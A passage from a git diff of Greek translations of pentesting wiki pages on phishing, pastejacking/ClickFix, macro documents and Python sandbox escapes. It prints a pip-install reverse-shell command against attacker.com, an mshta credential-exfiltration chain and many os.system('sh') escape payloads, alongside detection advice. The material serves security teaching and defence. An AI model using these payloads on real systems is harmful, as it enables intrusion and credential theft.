domain σας μέσα σε μαύρες λίστες**. Αν εμφανίζεται καταχωρημένο, με κάποιο τρόπο το domain σας εντοπίστηκε ως ύποπτο.\ +Προφανώς ένας από τους καλύτερους τρόπους για να ξέρετε αν έχετε ανακαλυφθεί είναι να **αναζητήσετε το domain σας μέσα σε μαύρες λίστες**. Αν εμφανίζεται καταχωρημένο, με κάποιο τρόπο το domain σας ανιχνεύθηκε ως ύποπτο.\ Ένας εύκολος τρόπος για να ελέγξετε αν το domain σας εμφανίζεται σε οποιαδήποτε μαύρη λίστα είναι να χρησιμοποιήσετε [https://malwareworld.com/](https://malwareworld.com) -Ωστόσο, υπάρχουν και άλλοι τρόποι για να ξέρετε αν το θύμα **αναζητά ενεργά ύποπτη phishing δραστηριότητα στον κόσμο** όπως εξηγείται σε: +Ωστόσο, υπάρχουν και άλλοι τρόποι για να ξέρετε αν το θύμα είναι **ενεργά σε αναζήτηση ύποπτης phishing δραστηριότητας στον κόσμο** όπως εξηγείται σε: {{#ref}} detecting-phising.md @@ -440,7 +440,7 @@ detecting-phising.md ## High-Touch Identity Compromise (Help-Desk MFA Reset) -Οι σύγχρονες επιθέσεις παρακάμπτουν ολοένα και περισσότερο τις παγίδες email και **στοχεύουν άμεσα τη διαδικασία service-desk / identity-recovery** για να παρακάμψουν το MFA. Η επίθεση είναι πλήρως "living-off-the-land": μόλις ο χειριστής αποκτήσει έγκυρα διαπιστευτήρια, προχωρά με τα ενσωματωμένα εργαλεία διαχείρισης – δεν απαιτείται κακόβουλο λογισμικό. +Οι σύγχρονες επιθέσεις παρακάμπτουν ολοένα και περισσότερο τις παγίδες email και **στοχεύουν άμεσα τη διαδικασία service-desk / identity-recovery** για να νικήσουν το MFA. Η επίθεση είναι πλήρως "living-off-the-land": μόλις ο χειριστής αποκτήσει έγκυρα διαπιστευτήρια, προχωρά με τα ενσωματωμένα εργαλεία διαχείρισης – δεν απαιτείται κακόβουλο λογισμικό. ### Attack flow 1. Recon the victim @@ -452,7 +452,7 @@ detecting-phising.md * Πείστε τον πράκτορα να **επαναφέρει το μυστικό MFA** ή να εκτελέσει μια **SIM-swap** σε έναν καταχωρημένο αριθμό κινητού. 3. Άμεσες ενέργειες μετά την πρόσβαση (≤60 λεπτά σε πραγματικές περιπτώσεις) * Δημιουργήστε μια βάση μέσω οποιασδήποτε πύλης SSO ιστού. -* Καταγράψτε AD / AzureAD με ενσωματωμένα (χωρίς να ρίξετε δυαδικά αρχεία): +* Καταγράψτε το AD / AzureAD με ενσωματωμένα (χωρίς να ρίξετε δυαδικά αρχεία): ```powershell # list directory groups & privileged roles Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} @@ -463,7 +463,7 @@ Get-MgDirectoryRole | ft DisplayName,Id # Enumerate devices the account can login to Get-MgUserRegisteredDevice -UserId ``` -* Πλευρική κίνηση με **WMI**, **PsExec**, ή νόμιμους **RMM** πράκτορες που είναι ήδη λευκοί στη λίστα στο περιβάλλον. +* Κινήσεις πλευράς με **WMI**, **PsExec**, ή νόμιμους **RMM** πράκτορες που είναι ήδη λευκοί στη λίστα στο περιβάλλον. ### Detection & Mitigation * Αντιμετωπίστε την ανάκτηση ταυτότητας help-desk ως **προνομιακή λειτουργία** – απαιτήστε step-up auth & έγκριση διευθυντή. @@ -471,12 +471,12 @@ Get-MgUserRegisteredDevice -UserId * Μέθοδος MFA που άλλαξε + αυθεντικοποίηση από νέα συσκευή / γεωγραφία. * Άμεση αναβάθμιση του ίδιου προσώπου (χρήστης-→-διαχειριστής). * Καταγράψτε τις κλήσεις help-desk και επιβάλετε μια **επιστροφή κλήσης σε ήδη καταχωρημένο αριθμό** πριν από οποιαδήποτε επαναφορά. -* Εφαρμόστε **Just-In-Time (JIT) / Privileged Access** ώστε οι νεοεπαναρυθμισμένοι λογαριασμοί να **μην** κληρονομούν αυτόματα υψηλής προνομιακής πρόσβασης tokens. +* Εφαρμόστε **Just-In-Time (JIT) / Privileged Access** ώστε οι νεοεπαναρυθμισμένοι λογαριασμοί να **μην** κληρονομούν αυτόματα υψηλά προνόμια. --- ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns -Οι ομάδες εμπορικών επιθέσεων αντισταθμίζουν το κόστος των υψηλών επαφών με μαζικές επιθέσεις που μετατρέπουν **τις μηχανές αναζήτησης & τα δίκτυα διαφημίσεων σε κανάλι παράδοσης**. +Οι ομάδες εμπορευμάτων αντισταθμίζουν το κόστος των υψηλών επαφών με μαζικές επιθέσεις που μετατρέπουν **τις μηχανές αναζήτησης & τα δίκτυα διαφημίσεων σε κανάλι παράδοσης**. 1. **SEO poisoning / malvertising** προωθεί ένα ψεύτικο αποτέλεσμα όπως το `chromium-update[.]site` στην κορυφή των διαφημίσεων αναζήτησης. 2. Το θύμα κατεβάζει έναν μικρό **loader πρώτης φάσης** (συχνά JS/HTA/ISO). Παραδείγματα που είδαν οι Unit 42: @@ -496,7 +496,7 @@ Get-MgUserRegisteredDevice -UserId - parent_image: /Program Files/Google/Chrome/* and child_image: *\\*.exe ``` -* Κυνηγήστε για LOLBins που συχνά κακοποιούνται από loaders πρώτης φάσης (π.χ. `regsvr32`, `curl`, `mshta`). +* Κυνηγήστε LOLBins που συχνά κακοποιούνται από loaders πρώτης φάσης (π.χ. `regsvr32`, `curl`, `mshta`). --- @@ -505,14 +505,14 @@ and child_image: *\\*.exe | Layer | Example use by threat actor | |-------|-----------------------------| -|Automation|Δημιουργία & αποστολή >100 k emails / SMS με τυχαία διατύπωση & συνδέσμους παρακολούθησης.| -|Generative AI|Παραγωγή *one-off* emails που αναφέρονται σε δημόσιες M&A, εσωτερικά αστεία από τα κοινωνικά μέσα; βαθιά ψεύτικη φωνή CEO σε απάτη επιστροφής κλήσης.| -|Agentic AI|Αυτονομία στην καταχώρηση domains, συλλογή ανοιχτών πηγών πληροφοριών, δημιουργία επόμενης φάσης emails όταν ένα θύμα κάνει κλικ αλλά δεν υποβάλλει διαπιστευτήρια.| +|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| +|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| +|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| -**Άμυνα:** +**Defence:** • Προσθέστε **δυναμικές διαφημίσεις** που επισημαίνουν μηνύματα που αποστέλλονται από μη αξιόπιστη αυτοματοποίηση (μέσω ανωμαλιών ARC/DKIM). • Αναπτύξτε **φωνητικές προκλήσεις βιομετρικών φράσεων** για αιτήματα τηλεφώνου υψηλού κινδύνου. -• Συνεχώς προσομοιώστε AI-generated παγίδες σε προγράμματα ευαισθητοποίησης – στατικά templates είναι παρωχημένα. +• Συνεχώς προσομοιώστε AI-generated παγίδες σε προγράμματα ευαισθητοποίησης – στατικά πρότυπα είναι παρωχημένα. --- @@ -527,7 +527,7 @@ and child_image: *\\*.exe ## Clipboard Hijacking / Pastejacking -Οι επιτιθέμενοι μπορούν σιωπηλά να αντιγράψουν κακόβουλες εντολές στο πρόχειρο του θύματος από μια συμβιβασμένη ή typosquatted ιστοσελίδα και στη συνέχεια να παρασύρουν τον χρήστη να τις επικολλήσει μέσα σε **Win + R**, **Win + X** ή ένα παράθυρο τερματικού, εκτελώντας αυθαίρετο κώδικα χωρίς καμία λήψη ή συνημμένο. +Οι επιτιθέμενοι μπορούν σιωπηλά να αντιγράψουν κακόβουλες εντολές στο πρόχειρο του θύματος από μια συμβιβασμένη ή typosquatted ιστοσελίδα και στη συνέχεια να παραπλανήσουν τον χρήστη να τις επικολλήσει μέσα σε **Win + R**, **Win + X** ή ένα παράθυρο τερματικού, εκτελώντας αυθαίρετο κώδικα χωρίς καμία λήψη ή συνημμένο. {{#ref}} clipboard-hijacking.md diff --git a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md index 35c5abe20..2a64ef438 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md @@ -6,7 +6,7 @@ ## Overview -Clipboard hijacking – επίσης γνωστό ως *pastejacking* – εκμεταλλεύεται το γεγονός ότι οι χρήστες συνήθως αντιγράφουν και επικολλούν εντολές χωρίς να τις ελέγχουν. Μια κακόβουλη ιστοσελίδα (ή οποιοδήποτε περιβάλλον που υποστηρίζει JavaScript, όπως μια εφαρμογή Electron ή Desktop) τοποθετεί προγραμματισμένα κείμενο ελεγχόμενο από τον επιτιθέμενο στο σύστημα clipboard. Τα θύματα ενθαρρύνονται, συνήθως μέσω προσεκτικά σχεδιασμένων οδηγιών κοινωνικής μηχανικής, να πατήσουν **Win + R** (διάλογος Εκτέλεσης), **Win + X** (Γρήγορη Πρόσβαση / PowerShell), ή να ανοίξουν ένα τερματικό και να *επικολλήσουν* το περιεχόμενο του clipboard, εκτελώντας αμέσως αυθαίρετες εντολές. +Clipboard hijacking – επίσης γνωστό ως *pastejacking* – εκμεταλλεύεται το γεγονός ότι οι χρήστες συνήθως αντιγράφουν και επικολλούν εντολές χωρίς να τις ελέγχουν. Μια κακόβουλη ιστοσελίδα (ή οποιοδήποτε περιβάλλον που υποστηρίζει JavaScript, όπως μια εφαρμογή Electron ή Desktop) τοποθετεί προγραμματισμένα κείμενο ελεγχόμενο από τον επιτιθέμενο στο σύστημα clipboard. Τα θύματα ενθαρρύνονται, συνήθως μέσω προσεκτικά σχεδιασμένων οδηγιών κοινωνικής μηχανικής, να πατήσουν **Win + R** (παράθυρο εκτέλεσης), **Win + X** (Γρήγορη Πρόσβαση / PowerShell), ή να ανοίξουν ένα τερματικό και να *επικολλήσουν* το περιεχόμενο του clipboard, εκτελώντας αμέσως αυθαίρετες εντολές. Επειδή **δεν κατεβαίνει κανένα αρχείο και δεν ανοίγει καμία συνημμένη**, η τεχνική παρακάμπτει τους περισσότερους ελέγχους ασφαλείας email και διαδικτυακού περιεχομένου που παρακολουθούν συνημμένα, μακροεντολές ή άμεση εκτέλεση εντολών. Η επίθεση είναι επομένως δημοφιλής σε εκστρατείες phishing που παραδίδουν οικογένειες κακόβουλου λογισμικού όπως NetSupport RAT, Latrodectus loader ή Lumma Stealer. @@ -24,15 +24,15 @@ navigator.clipboard.writeText(payload) ``` Οι παλαιότερες εκστρατείες χρησιμοποιούσαν `document.execCommand('copy')`, ενώ οι νεότερες βασίζονται στο ασύγχρονο **Clipboard API** (`navigator.clipboard.writeText`). -## Η Ροή ClickFix / ClearFake +## Η ροή ClickFix / ClearFake -1. Ο χρήστης επισκέπτεται μια typosquatted ή παραβιασμένη ιστοσελίδα (π.χ. `docusign.sa[.]com`) -2. Ο injected **ClearFake** JavaScript καλεί έναν `unsecuredCopyToClipboard()` helper που αποθηκεύει σιωπηλά μια Base64-encoded PowerShell one-liner στο clipboard. -3. Οι HTML οδηγίες λένε στο θύμα να: *“Πατήστε **Win + R**, επικολλήστε την εντολή και πατήστε Enter για να επιλύσετε το πρόβλημα.”* +1. Ο χρήστης επισκέπτεται μια παραποιημένη ή συμβιβασμένη ιστοσελίδα (π.χ. `docusign.sa[.]com`) +2. Ο εισαγόμενος **ClearFake** JavaScript καλεί μια βοηθητική συνάρτηση `unsecuredCopyToClipboard()` που αποθηκεύει σιωπηλά μια Base64-κωδικοποιημένη PowerShell one-liner στο clipboard. +3. Οι οδηγίες HTML λένε στο θύμα να: *“Πατήστε **Win + R**, επικολλήστε την εντολή και πατήστε Enter για να επιλύσετε το πρόβλημα.”* 4. Το `powershell.exe` εκτελείται, κατεβάζοντας ένα αρχείο που περιέχει ένα νόμιμο εκτελέσιμο καθώς και ένα κακόβουλο DLL (κλασικό DLL sideloading). -5. Ο loader αποκρυπτογραφεί επιπλέον στάδια, εισάγει shellcode και εγκαθιστά επιμονή (π.χ. προγραμματισμένο έργο) – τελικά εκτελεί το NetSupport RAT / Latrodectus / Lumma Stealer. +5. Ο φορτωτής αποκρυπτογραφεί επιπλέον στάδια, εισάγει shellcode και εγκαθιστά επιμονή (π.χ. προγραμματισμένο έργο) – τελικά εκτελεί το NetSupport RAT / Latrodectus / Lumma Stealer. -### Παράδειγμα Αλυσίδας NetSupport RAT +### Παράδειγμα αλυσίδας NetSupport RAT ```powershell powershell -nop -w hidden -enc # ↓ Decodes to: @@ -55,27 +55,28 @@ powershell -nop -enc # Cloud Identificator: 2031 ``` mshta https://iplogger.co/xxxx =+\\xxx ``` -Η **mshta** κλήση εκκινεί ένα κρυφό PowerShell script που ανακτά το `PartyContinued.exe`, εξάγει το `Boat.pst` (CAB), ανακατασκευάζει το `AutoIt3.exe` μέσω του `extrac32` & της συγχώνευσης αρχείων και τελικά εκτελεί ένα `.a3x` script που εξάγει τα διαπιστευτήρια του προγράμματος περιήγησης στο `sumeriavgv.digital`. +Η **mshta** κλήση εκκινεί ένα κρυφό PowerShell script που ανακτά το `PartyContinued.exe`, εξάγει το `Boat.pst` (CAB), ανασυνθέτει το `AutoIt3.exe` μέσω του `extrac32` & της συγχώνευσης αρχείων και τελικά εκτελεί ένα `.a3x` script που εξάγει τα διαπιστευτήρια του προγράμματος περιήγησης στο `sumeriavgv.digital`. ## Ανίχνευση & Κυνήγι -Οι ομάδες Blue μπορούν να συνδυάσουν την τηλεμετρία clipboard, δημιουργίας διαδικασιών και μητρώου για να εντοπίσουν την κακή χρήση του pastejacking: +Οι ομάδες ασφαλείας μπορούν να συνδυάσουν την τηλεμετρία του clipboard, της δημιουργίας διαδικασιών και του μητρώου για να εντοπίσουν την κακή χρήση του pastejacking: -* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` διατηρεί ιστορικό εντολών **Win + R** – αναζητήστε ασυνήθιστες εγγραφές Base64 / obfuscated. +* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` διατηρεί ιστορικό εντολών **Win + R** – αναζητήστε ασυνήθεις εγγραφές Base64 / obfuscated. * Security Event ID **4688** (Δημιουργία Διαδικασίας) όπου `ParentImage` == `explorer.exe` και `NewProcessName` σε { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }. * Event ID **4663** για δημιουργίες αρχείων κάτω από `%LocalAppData%\Microsoft\Windows\WinX\` ή προσωρινά φακέλους αμέσως πριν από το ύποπτο γεγονός 4688. * EDR clipboard sensors (αν υπάρχουν) – συσχετίστε `Clipboard Write` που ακολουθείται αμέσως από μια νέα διαδικασία PowerShell. ## Μετριασμοί -1. Σκληροποίηση προγράμματος περιήγησης – απενεργοποιήστε την πρόσβαση εγγραφής clipboard (`dom.events.asyncClipboard.clipboardItem` κ.λπ.) ή απαιτήστε χειρονομία χρήστη. +1. Σκληροποίηση προγράμματος περιήγησης – απενεργοποιήστε την πρόσβαση εγγραφής στο clipboard (`dom.events.asyncClipboard.clipboardItem` κ.λπ.) ή απαιτήστε χειρονομία χρήστη. 2. Ευαισθητοποίηση ασφαλείας – διδάξτε στους χρήστες να *πληκτρολογούν* ευαίσθητες εντολές ή να τις επικολλούν πρώτα σε έναν επεξεργαστή κειμένου. -3. PowerShell Constrained Language Mode / Execution Policy + Application Control για να αποκλείσετε αυθαίρετους one-liners. +3. PowerShell Constrained Language Mode / Execution Policy + Application Control για να αποκλείσετε αυθαίρετες one-liners. 4. Δίκτυα ελέγχου – αποκλείστε τις εξερχόμενες αιτήσεις σε γνωστούς τομείς pastejacking και κακόβουλου λογισμικού C2. ## Σχετικά Τέχνασμα * **Discord Invite Hijacking** συχνά εκμεταλλεύεται την ίδια προσέγγιση ClickFix μετά την παγίδευση χρηστών σε έναν κακόβουλο διακομιστή: + {{#ref}} discord-invite-hijacking.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index ddb7fe1bb..f26921633 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,10 +4,10 @@ ## Office Documents -Το Microsoft Word εκτελεί έλεγχο εγκυρότητας δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος εγκυρότητας δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει. +Το Microsoft Word εκτελεί έλεγχο δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει. Συνήθως, τα αρχεία Word που περιέχουν μακροεντολές χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης μακροεντολών.\ -Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\ +Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, σχεδιαστικά, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\ Οι ίδιες εσωτερικές διαδικασίες και μηχανισμοί ισχύουν για όλα τα λογισμικά της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.). Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office: @@ -71,7 +71,7 @@ proc.Create "powershell #### Επέκταση Εγγράφου Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\ -Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την επέκταση μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**. +Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει μια **στάση** **γύρω από** την επέκταση με δυνατότητα μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**. #### Δημιουργοί Κακόβουλων Μακροεντολών @@ -81,7 +81,7 @@ proc.Create "powershell ## Αρχεία HTA -Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός προγράμματος περιήγησης. +Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης. Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελούνται. ```html @@ -140,14 +140,16 @@ self.close ``` ## Εξαναγκασμός NTLM Αυθεντικοποίησης -Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** απλά για **άνοιγμα του φακέλου.** +Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** μόνο και μόνο για **άνοιγμα του φακέλου.** **Ελέγξτε αυτές τις ιδέες και περισσότερες στις επόμενες σελίδες:** + {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} + {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index d27a87608..a4aca784a 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες sandbox της python και να εκτελέσετε αυθαίρετες εντολές. +Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές. -## Βιβλιοθήκες Εκτέλεσης Εντολών +## Command Execution Libraries Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες: ```python @@ -39,15 +39,15 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στην python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** την sandbox. +Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox. -> [!CAUTION] > Η συνάρτηση **input()** της Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει. +> [!CAUTION] > Η συνάρτηση **input()** του Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει. -Η Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): `python3 -c 'import sys; print(sys.path)'` +Ο Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει ο python τα modules): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Παράκαμψη της sandbox pickle με τα προεγκατεστημένα πακέτα python +## Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα python ### Προεγκατεστημένα πακέτα @@ -70,9 +70,9 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0))) ### Πακέτο Pip -Τέχνασμα που μοιράστηκε από **@isHaacK** +Τέχνασμα που μοιράστηκε ο **@isHaacK** -Αν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας: +Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) @@ -83,15 +83,15 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) Reverse.tar (1).gz {{#endfile}} -> [!NOTE] -> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell, η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε. +> [!TIP] +> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε. ## Eval-ing python code > [!WARNING] > Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus) -Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό: +Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -152,7 +152,7 @@ return x ## Εκτέλεση Python χωρίς κλήσεις -Αν βρίσκεστε μέσα σε μια φυλακή python που **δεν επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**. +Αν βρίσκεστε μέσα σε μια python φυλακή που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**. ### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python @@ -182,7 +182,7 @@ class _:pass #### RCE με προσαρμοσμένες κλάσεις -Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να εκτελούν **τυχαίο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα. +Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -234,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση. +Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την στοχευόμενη κλάση ως μετακλάση. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -251,7 +251,7 @@ Sub['import os; os.system("sh")'] ``` #### Δημιουργία αντικειμένων με εξαιρέσεις -Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** είναι **δημιουργημένο** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -315,9 +315,9 @@ __builtins__.__dict__['__import__']("os").system("ls") ### No Builtins Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\ -Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται ακίνδυνα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να 